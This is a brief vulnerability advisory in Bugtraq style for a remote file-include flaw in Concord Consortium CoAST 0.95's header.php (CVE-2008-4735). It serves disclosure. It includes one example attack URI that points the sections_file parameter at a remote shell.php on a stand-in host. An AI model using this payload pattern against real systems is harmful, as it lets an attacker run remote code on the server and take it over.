Concord Consortium CoAST 'header.php' Remote File Include Vulnerability

Bugtraq ID:	31461
Class:	Input Validation Error
CVE:	CVE-2008-4735
Remote:	Yes
Local:	No
Published:	Sep 27 2008 12:00AM
Updated:	May 07 2015 05:23PM
Credit:	DaRkLiFe
Vulnerable:	Concord Consortium CoAST 0.95
Not Vulnerable:

Concord Consortium CoAST 'header.php' Remote File Include Vulnerability

CoAST is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue can allow an attacker to compromise the application and the underlying system; other attacks are also possible.

CoAST 0.95 is vulnerable; other versions may also be affected.

Concord Consortium CoAST 'header.php' Remote File Include Vulnerability

An attacker can exploit this issue via a browser.

The following example URI is available:

http://www.example.com/script_path/coast/header.php?sections_file=http://www.example2.com/shell.php?

Concord Consortium CoAST 'header.php' Remote File Include Vulnerability

Solution:
Currently we are not aware of any working exploits. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

Concord Consortium CoAST 'header.php' Remote File Include Vulnerability

References:

• CoAST Homepage (Concord Consortium)
  
• CoAST Project page (Concord Consortium)
  
• The Concord Consortium Homepage (Concord Consortium)